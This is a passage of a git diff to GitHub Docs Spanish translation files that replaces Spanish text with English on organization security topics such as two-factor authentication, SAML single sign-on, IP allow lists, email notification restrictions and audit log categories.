octicon "package" aria-label="The package icon" %} **dependents** next to each vulnerability to see which dependents in your organization are using each library. + ![My organizations vulnerable dependents](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png) -## Leer más - - "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)" - - "[Explorar las dependencias de un repositorio](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)" +## Further reading + - "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" + - "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)" - "[Changing the visibility of your organization's dependency insights](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights)"{% ifversion ghec %} - "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)"{% endif %} diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md index 18971c0b20..0700665093 100644 --- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md +++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: Acerca de la autenticación de dos factores y el inicio de sesión único de SAML -intro: Los administradores de las organizaciones pueden activar tanto el inicio de sesión único de SAML como la autenticación de dos factores para agregar medidas de autenticación adicionales para sus miembros de la organización. +title: About two-factor authentication and SAML single sign-on +intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members. product: '{% data reusables.gated-features.saml-sso %}' redirect_from: - /articles/about-two-factor-authentication-and-saml-single-sign-on @@ -11,18 +11,18 @@ versions: topics: - Organizations - Teams -shortTitle: 2FA & Inicio de sesión único de SAML +shortTitle: 2FA & SAML single sign-on --- -La autenticación de dos factores (2FA) ofrece una autenticación básica para los miembros de la organización. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. Para obtener más información, consulta "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)". +Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)." -Para agregar medidas de autenticación adicionales, los administradores de la organización también pueden [activar el inicio de sesión único (SSO) de SAML](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) para que los miembros de la organización deban usar el inicio de sesión único para acceder a una organización. Para obtener más información sobre SAML SSO, consulta "[Acerca de la administración de identidad y acceso con inicio de sesión único de SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on)". +To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)." -Si tanto la 2FA como SAML SSO están activados, los miembros de la organización deben hacer lo siguiente: +If both 2FA and SAML SSO are enabled, organization members must do the following: - Use 2FA to log in to their account on {% data variables.product.product_location %} -- Usar el inicio de sesión único para acceder a la organización. -- Usar un token autorizado para el acceso a Git o a la API y usar el inicio de sesión único para autorizar el token. +- Use single sign-on to access the organization +- Use an authorized token for API or Git access and use single sign-on to authorize the token -## Leer más +## Further reading -- "[Implementar el inicio de sesión único de SAML para tu organización](/articles/enforcing-saml-single-sign-on-for-your-organization)" +- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" diff --git a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md index 22fe40973a..6e2afcadba 100644 --- a/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md +++ b/translations/es-ES/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md @@ -1,6 +1,6 @@ --- -title: Visualizar y administrar el acceso de SAML de un miembro a tu organización -intro: 'Puedes ver y revocar la identidad vinculada de un miembro de la organización, sesiones activas y credenciales autorizadas.' +title: Viewing and managing a member's SAML access to your organization +intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.' permissions: Organization owners can view and manage a member's SAML access to an organization. product: '{% data reusables.gated-features.saml-sso %}' redirect_from: @@ -13,27 +13,27 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar el acceso de SAML +shortTitle: Manage SAML access --- -## Acerca del acceso de SAML a tu organización +## About SAML access to your organization -When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. Para acceder a los recursos de tu organización en {% data variables.product.product_name %}, el miembro debe tener una sesión activa de SAML en su buscador. Para acceder a los recursos de tu organización utilizando Git o la API, el miembro debe utilizar un token de acceso personal o llave SSH que se le haya autorizado para su uso con tu organización. +When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a personal access token or SSH key that the member has authorized for use with your organization. -Puedes ver y revocar la identidad vinculada de cada miembro, sesiones activas y credenciales auotrizadas en la misma página. +You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page. -## Visualizar y revocar una identidad vinculada +## Viewing and revoking a linked identity -{% data reusables.saml.about-linked-identities %} +{% data reusables.saml.about-linked-identities %} -Cuando esté disponible, la entrada incluirá datos de SCIM. Para obtener más información, consulta la sección "[Acerca de SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)". +When available, the entry will include SCIM data. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)." {% warning %} -**Advertencia:** Para las orgtanizaciones que utilizan SCIM: -- El revocar una identidad de usuario en {% data variables.product.product_name %} también eliminará los metadatos de SAML y de SCIM. Como resultado, el proveedor de identidad no podrá sincronizar o desaprovisionar la identidad de usuario enlazada. -- Un administrador deberá revocar una identidad enlazada a través del proveedor de identidad. -- Para revocar una identidad enlazada y enlazar una cuenta diferente a través del proveedor de identidad, un administrador puede eliminar y volver a asignar el usuario con la aplicación de {% data variables.product.product_name %}. Para obtener más información, consulta la documentación de tu proveedor de identidad. +**Warning:** For organizations using SCIM: +- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity. +- An admin must revoke a linked identity through the identity provider. +- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation. {% endwarning %} @@ -49,7 +49,7 @@ Cuando esté disponible, la entrada incluirá datos de SCIM. Para obtener más i {% data reusables.saml.revoke-sso-identity %} {% data reusables.saml.confirm-revoke-identity %} -## Visualizar y revocar una sesión activa de SAML +## Viewing and revoking an active SAML session {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -59,7 +59,7 @@ Cuando esté disponible, la entrada incluirá datos de SCIM. Para obtener más i {% data reusables.saml.view-saml-sessions %} {% data reusables.saml.revoke-saml-session %} -## Visualizar y revocar credenciales autorizadas +## Viewing and revoking authorized credentials {% data reusables.saml.about-authorized-credentials %} @@ -72,7 +72,7 @@ Cuando esté disponible, la entrada incluirá datos de SCIM. Para obtener más i {% data reusables.saml.revoke-authorized-credentials %} {% data reusables.saml.confirm-revoke-credentials %} -## Leer más +## Further reading - "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %} - "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %} diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md index b879507d95..bb538e6131 100644 --- a/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md +++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Administrar las direcciones IP permitidas en tu organización -intro: Puedes restringir el acceso a los activos de tu organización si configuras una lista de direcciones IP que se pueden conectar a ella. +title: Managing allowed IP addresses for your organization +intro: You can restrict access to your organization's assets by configuring a list of IP addresses that are allowed to connect. product: '{% data reusables.gated-features.allowed-ip-addresses %}' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization @@ -11,24 +11,24 @@ versions: topics: - Organizations - Teams -shortTitle: Administrar las direcciones IP permitidas +shortTitle: Manage allowed IP addresses --- -Los propietarios de las organizaciones pueden administrar las direcciones IP permitidas en las mismas. +Organization owners can manage allowed IP addresses for an organization. -## Acerca de las direcciones IP permitidas +## About allowed IP addresses -Puedes restringir el acceso a los activos de la organización configurando un listado de direcciones IP específicas permitidas. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} +You can restrict access to organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} {% data reusables.identity-and-permissions.ip-allow-lists-enable %} -Si configuras una lista de direcciones permitidas, también puedes elegir agregar automáticamente a ella cualquier dirección IP que hayas configurado para las {% data variables.product.prodname_github_apps %} que instales en tu organización. El creador de una {% data variables.product.prodname_github_app %} puede configurar una lista de direcciones permitidas para su aplicación, las cuales especifiquen las direcciones IP en las cuales se ejecuta esta. Al heredar la lista de direcciones permitidas en la tuya, estás evitando las solicitudes de conexión de la aplicación que se está rehusando. Para obtener más información, consulta la sección "[Permitir el acceso mediante {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)". +If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)." -También puedes configurar las direcciones IP permitidas para las organizaciones en una cuenta empresarial. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." +You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." -## Agregar una dirección IP permitida +## Adding an allowed IP address {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -37,31 +37,33 @@ También puedes configurar las direcciones IP permitidas para las organizaciones {% data reusables.identity-and-permissions.ip-allow-lists-add-description %} {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} -## Habilitar direcciones IP permitidas +## Enabling allowed IP addresses {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -1. En "IP allow list" (Lista de permisos de IP), seleccione **Enable IP allow list** (Habilitar lista de permisos de IP). ![Realizar una marca de verificación para permitir direcciones IP](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png) -1. Haz clic en **Save ** (guardar). +1. Under "IP allow list", select **Enable IP allow list**. + ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png) +1. Click **Save**. -## Permitir el acceso mediante {% data variables.product.prodname_github_apps %} +## Allowing access by {% data variables.product.prodname_github_apps %} -Si estás utilizando una lista de direcciones permitidas, también puedes elegir agregar automáticamente a ella cualquier dirección IP que hayas configurado para las {% data variables.product.prodname_github_apps %} que instales en tu organización. +If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. {% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %} {% data reusables.apps.ip-allow-list-only-apps %} -Para obtener más información sobre cómo crear una lista de direcciones permitidas para una {% data variables.product.prodname_github_app %} que hayas creado, consulta la sección "[Administrar las direcciones IP permitidas para una GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)". +For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.security %} -1. Debajo de "Lista de direcciones IP permitidas", selecciona **Habilitar la configuración de la lista de direcciones IP permitidas para las GitHub Apps instaladas**. ![Casilla de verificación para permitir las direcciones IP de las GitHub Apps](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png) -1. Haz clic en **Save ** (guardar). +1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**. + ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png) +1. Click **Save**. -## Editar una dirección IP permitida +## Editing an allowed IP address {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -69,9 +71,9 @@ Para obtener más información sobre cómo crear una lista de direcciones permit {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} -1. Da clic en **Actualizar**. +1. Click **Update**. -## Eliminar una dirección IP permitida +## Deleting an allowed IP address {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -79,7 +81,7 @@ Para obtener más información sobre cómo crear una lista de direcciones permit {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} -## Utilizar {% data variables.product.prodname_actions %} con un listado de direcciones IP permitidas +## Using {% data variables.product.prodname_actions %} with an IP allow list {% ifversion ghae %} diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md index f9aa7efbe0..24691a59e2 100644 --- a/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md +++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Solicitar autenticación de dos factores en tu organización -intro: 'Los propietarios de la organización pueden requerir que los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} habiliten la autenticación de dos factores para sus cuentas personales, lo que hace que sea más complicado para los actores maliciosos acceder a los repositorios y parámetros de una organización.' +title: Requiring two-factor authentication in your organization +intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.' redirect_from: - /articles/requiring-two-factor-authentication-in-your-organization - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization @@ -11,38 +11,38 @@ versions: topics: - Organizations - Teams -shortTitle: Requerir 2FA en la organización +shortTitle: Require 2FA in organization --- -## Acerca de la autenticación bifactorial para las organizaciones +## About two-factor authentication for organizations -{% data reusables.two_fa.about-2fa %} Puedes requerir que todos los {% ifversion fpt or ghec %}miembros, colaboradores externos y gerentes de facturación{% else %}miembros y colaboradores externos{% endif %} en tu organización habiliten la autenticación bifactorial en {% data variables.product.product_name %}. Para obtener más información acerca de la autenticación bifactorial, consulta la sección "[Asegurar tu cuenta con la autenticación bifactorial (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)". +{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.product_name %}. For more information about two-factor authentication, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." {% ifversion fpt or ghec %} -También puedes requerir autenticación bifactorial para las organizaciones en una empresa. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." +You can also require two-factor authentication for organizations in an enterprise. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." {% endif %} {% warning %} -**Advertencias:** +**Warnings:** -- Cuando requieres el uso de autenticación de dos factores para tu organización, los {% ifversion fpt or ghec %}miembros, colaboradores externos y gerentes de facturación{% else %}miembros y colaboradores externos{% endif %} (incluidas las cuentas de bot) que no utilicen la 2FA se eliminarán de la organización y perderán el acceso a sus repositorios. También perderán acceso a las bifurcaciones de sus repositorios privados de la organización. Puedes [reinstalar sus privilegios y parámetros de acceso](/articles/reinstating-a-former-member-of-your-organization) si habilitan la autenticación de dos factores para su cuenta personal en el transcurso de los tres meses posteriores a la eliminación desde tu organización. -- Si un propietario de la organización, miembro,{% ifversion fpt or ghec %} gerente de facturación{% endif %} o colaborador externo inhabilita la 2FA para su cuenta personal después de que hayas habilitado la autenticación de dos factores requerida, se lo eliminará automáticamente de la organización. -- Si eres el único propietario de una organización que requiere autenticación de dos factores, no podrás inhabilitar la 2FA de tu cuenta personal sin inhabilitar la autenticación de dos factores para la organización. +- When you require use of two-factor authentication for your organization, {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can [reinstate their access privileges and settings](/articles/reinstating-a-former-member-of-your-organization) if they enable two-factor authentication for their personal account within three months of their removal from your organization. +- If an organization owner, member,{% ifversion fpt or ghec %} billing manager,{% endif %} or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization. +- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. {% endwarning %} {% data reusables.two_fa.auth_methods_2fa %} -## Prerrequisitos +## Prerequisites -Antes de que requieras que los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} utilicen la autenticación bifactorial, debes habilitarla para tu cuenta en {% data variables.product.product_name %}. Para obtener más información, consulta "[Proteger tu cuenta con la autenticación de dos factores (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)". +Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable two-factor authentication for your account on {% data variables.product.product_name %}. For more information, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." -Antes de que requieras el uso de autenticación de dos factores, recomendamos que se lo notifiques a los {% ifversion fpt or ghec %}miembros de la organización, colaboradores externos y gerentes de facturación{% else %}miembros de la organización y colaboradores externos{% endif %} y les solicites que configuren la 2FA para sus cuentas. Puedes ver si los miembros y colaboradores externos ya utilizan la 2FA. Para obtener más información, consulta "[Ver si los usuarios en tu organización tienen la 2FA habilitada](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)". +Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)." -## Solicitar autenticación de dos factores en tu organización +## Requiring two-factor authentication in your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -50,32 +50,32 @@ Antes de que requieras el uso de autenticación de dos factores, recomendamos qu {% data reusables.organizations.require_two_factor_authentication %} {% data reusables.organizations.removed_outside_collaborators %} {% ifversion fpt or ghec %} -8. Si algún miembro o colaborador externo se elimina de tu organización, te recomendamos enviarle una invitación para reinstalar sus privilegios antiguos y el acceso a tu organización. Deben habilitar la autenticación de dos factores para poder aceptar la invitación. +8. If any members or outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation. {% endif %} -## Ver las personas que se eliminaron de tu organización +## Viewing people who were removed from your organization -Para ver las personas que se eliminaron automáticamente de tu organización por no cumplir cuando les requeriste la autenticación de dos factores, puedes [buscar el registro de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) para las personas eliminadas de tu organización. El evento de registro de auditoría mostrará si se eliminó a una persona por no cumplir con la 2FA. +To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search your organization's audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance. -![Evento de registro de auditoría que muestra un usuario eliminado por no cumplir con la 2FA](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png) +![Audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png) {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.audit_log.audit_log_sidebar_for_org_admins %} -4. Ingresa tu consulta de búsqueda. Para buscar por: - - Miembros de la organización eliminados, utiliza `action:org.remove_member` en tu consulta de búsqueda - - Colaboradores externos eliminados, utiliza `action:org.remove_outside_collaborator` en tu consulta de búsqueda{% ifversion fpt or ghec %} - - Gerentes de facturación eliminados, utiliza `action:org.remove_billing_manager`en tu consulta de búsqueda{% endif %} +4. Enter your search query. To search for: + - Organization members removed, use `action:org.remove_member` in your search query + - Outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query{% ifversion fpt or ghec %} + - Billing managers removed, use `action:org.remove_billing_manager`in your search query{% endif %} - También puedes ver las personas que se eliminaron de tu organización utilizando un [período de tiempo](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) en tu búsqueda. + You can also view people who were removed from your organization by using a [time frame](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) in your search. -## Ayudar a que los miembros y colaboradores externos eliminados se vuelvan a unir a tu organización +## Helping removed members and outside collaborators rejoin your organization -Si algún miembro o colaborador externo se eliminó de la organización cuando habilitaste el uso requerido de autenticación de dos factores, recibirá un correo electrónico que le notifique que ha sido eliminado. Debe entonces habilitar la 2FA para su cuenta personal y contactarse con un propietario de la organización para solicitar acceso a tu organización. +If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. -## Leer más +## Further reading -- "[Ver si los usuarios de tu organización tienen la 2FA habilitada](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)" -- "[Proteger tu cuenta con autenticación de dos factores (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)" -- "[Reinstalar un miembro antiguo de tu organización](/articles/reinstating-a-former-member-of-your-organization)" -- "[Reinstalar el acceso a tu organización de un colaborador externo antiguo](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)" +- "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)" +- "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)" +- "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)" +- "[Reinstating a former outside collaborator's access to your organization](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)" diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md index 547e194220..65657e2c0a 100644 --- a/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md +++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Restringir las notificaciones por correo electrónico para tu organización -intro: 'Para prevenir que se fugue la información de la organización en la scuentas personales de correo electrónico, puedes restringir los dominios en donde los miembros pueden recibir este tipo de notificaciones sobre la actividad de la organización.' +title: Restricting email notifications for your organization +intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.' product: '{% data reusables.gated-features.restrict-email-domain %}' permissions: Organization owners can restrict email notifications for an organization. redirect_from: @@ -18,29 +18,29 @@ topics: - Notifications - Organizations - Policy -shortTitle: Restringir las notificaciones por correo electrónico +shortTitle: Restrict email notifications --- -## Acerca de las restricciones de correo electrónico +## About email restrictions -Cuando se habilitan las notificaciones por correo electrónico restringidas en una organización, los miembros solo pueden utilizar direcciones de correco electrónico asociadas con un dominio aprobado o verificado para recibir este tipo de notificaciones sobre la actividad de la organización. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." +When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." {% data reusables.enterprise-accounts.approved-domains-beta-note %} {% data reusables.notifications.email-restrictions-verification %} -Los colabores externos no están sujetos a las restricciones en las notificaciones por correo electrónico para los dominios verificados o aprobados. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." +Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." -Si tu organización pertenece a una cuenta empresarial, los miembros de dicha organización podrán recibir notificaciones de cualquier dominio que verifique o apruebe esta cuenta, adicionalmente a cualquier dominio que la misma organización verifique o apruebe. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)." +If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)." -## Restringir las notificciones por correo electrónico +## Restricting email notifications -Antes de que puedas restringir las notificaciones por correo electrónico para tu organización, debes verificar o aprobar por lo menos un dominio para la organización o un propietario de la empresa debe haber verificado o aprobado por lo menos un dominio para la cuenta empresarial. +Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account. -Para obtener más información acerca de verificar y aprobar los dominios para una organización, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)". +For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.verified-domains %} {% data reusables.organizations.restrict-email-notifications %} -6. Haz clic en **Save ** (guardar). +6. Click **Save**. diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 78d03453ff..3765400734 100644 --- a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -39,8 +39,8 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing. | [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. | | [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} -| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in new repositories created in the organization. +| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization. | 